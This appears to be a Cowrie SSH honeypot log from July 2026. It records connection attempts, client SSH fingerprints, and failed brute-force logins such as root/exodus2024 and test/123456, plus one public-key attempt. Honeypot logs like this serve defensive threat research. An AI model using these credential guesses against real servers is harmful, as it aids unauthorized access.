{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:20.990968Z","src_ip":"194.59.206.2","session":"d3d86e2b72fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:21.074951Z","src_ip":"194.59.206.2","session":"d3d86e2b72fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":58298,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e9a176fd6b8","protocol":"ssh","message":"New connection: 31.179.197.26:58298 (159.203.135.109:22) [session: 7e9a176fd6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:24.628677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:24.632064Z","src_ip":"31.179.197.26","session":"7e9a176fd6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:24.737279Z","src_ip":"31.179.197.26","session":"7e9a176fd6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"list","password":"list","message":"login attempt [list/list] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:25.186412Z","src_ip":"31.179.197.26","session":"7e9a176fd6b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:26.292040Z","src_ip":"31.179.197.26","session":"7e9a176fd6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":54308,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9db93c69fdd","protocol":"ssh","message":"New connection: 45.61.148.179:54308 (159.203.135.109:22) [session: b9db93c69fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:31.392611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:31.397389Z","src_ip":"45.61.148.179","session":"b9db93c69fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:31.465454Z","src_ip":"45.61.148.179","session":"b9db93c69fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yk123456","message":"login attempt [root/Yk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:31.771987Z","src_ip":"45.61.148.179","session":"b9db93c69fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":39032,"dst_ip":"10.17.0.5","dst_port":22,"session":"73f94c048b4e","protocol":"ssh","message":"New connection: 23.88.42.180:39032 (10.17.0.5:22) [session: 73f94c048b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:32.293313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:32.302651Z","src_ip":"23.88.42.180","session":"73f94c048b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:32.389251Z","src_ip":"23.88.42.180","session":"73f94c048b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kraken","password":"kraken999","message":"login attempt [kraken/kraken999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:32.762966Z","src_ip":"23.88.42.180","session":"73f94c048b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:32.841699Z","src_ip":"45.61.148.179","session":"b9db93c69fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:33.860404Z","src_ip":"23.88.42.180","session":"73f94c048b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.85586357116699,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:39.627330Z","src_ip":"137.184.5.188","session":"b278b04b73f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":53274,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a9a9dd0f06","protocol":"ssh","message":"New connection: 91.92.40.176:53274 (10.17.0.5:22) [session: a2a9a9dd0f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:51.124455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:51.128110Z","src_ip":"91.92.40.176","session":"a2a9a9dd0f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:51.208389Z","src_ip":"91.92.40.176","session":"a2a9a9dd0f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:51.463888Z","src_ip":"91.92.40.176","session":"a2a9a9dd0f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:52.548431Z","src_ip":"91.92.40.176","session":"a2a9a9dd0f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":35226,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08716d01208","protocol":"ssh","message":"New connection: 162.240.218.183:35226 (10.17.0.5:22) [session: c08716d01208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:03.290630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:03.294486Z","src_ip":"162.240.218.183","session":"c08716d01208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:03.376477Z","src_ip":"162.240.218.183","session":"c08716d01208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qnt@Tr0ng$P@ss","message":"login attempt [root/Qnt@Tr0ng$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:03.624921Z","src_ip":"162.240.218.183","session":"c08716d01208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:05.567291Z","src_ip":"162.240.218.183","session":"c08716d01208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":37934,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fde3da38917","protocol":"ssh","message":"New connection: 192.169.249.148:37934 (159.203.135.109:22) [session: 8fde3da38917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:07.810455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:07.814616Z","src_ip":"192.169.249.148","session":"8fde3da38917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:07.879309Z","src_ip":"192.169.249.148","session":"8fde3da38917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"exodus2024","message":"login attempt [root/exodus2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:08.075587Z","src_ip":"192.169.249.148","session":"8fde3da38917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:09.145570Z","src_ip":"192.169.249.148","session":"8fde3da38917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.89.249.3","src_port":57756,"dst_ip":"10.17.0.5","dst_port":22,"session":"20da2f8de77e","protocol":"ssh","message":"New connection: 185.89.249.3:57756 (10.17.0.5:22) [session: 20da2f8de77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:20.526030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:20.529880Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:20.612584Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:70:a6:dc:57:66:b2:20:d7:93:7e:4e:f1:75:3f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx6GgA3w3grajqt8bQ01pd+FrwAynh8c6gOlHA5rNUjiumbczFulzdhl2Eq6zOIa9o74c8/smeebcNRM4XJhQOdWYKQ9uCpkJKrUysF8lFnzLTha0QUkrq9EV0X4V77mWI9TvCbDpqVKQkWR0eXH/qot88JXOJ+Gax4S2Yhrn+6hnfwG84SRQ+icL1rKpP0ASuOj/71Lv/Jerm3HEXqL9G3N9cRzCoGwz3DB1aunLQKVk5rt2mdzBSHRC2Yja9Vtc9s5AwenA7uJlonzpw+trt0M4CJ8QHIV6Qr8f9mH6mpelYSlzww9hkbN3Am6vFy3dBAmhv0cBOE3VML9nTaS+RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:70:a6:dc:57:66:b2:20:d7:93:7e:4e:f1:75:3f:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.001307Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:70:a6:dc:57:66:b2:20:d7:93:7e:4e:f1:75:3f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx6GgA3w3grajqt8bQ01pd+FrwAynh8c6gOlHA5rNUjiumbczFulzdhl2Eq6zOIa9o74c8/smeebcNRM4XJhQOdWYKQ9uCpkJKrUysF8lFnzLTha0QUkrq9EV0X4V77mWI9TvCbDpqVKQkWR0eXH/qot88JXOJ+Gax4S2Yhrn+6hnfwG84SRQ+icL1rKpP0ASuOj/71Lv/Jerm3HEXqL9G3N9cRzCoGwz3DB1aunLQKVk5rt2mdzBSHRC2Yja9Vtc9s5AwenA7uJlonzpw+trt0M4CJ8QHIV6Qr8f9mH6mpelYSlzww9hkbN3Am6vFy3dBAmhv0cBOE3VML9nTaS+RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.004276Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
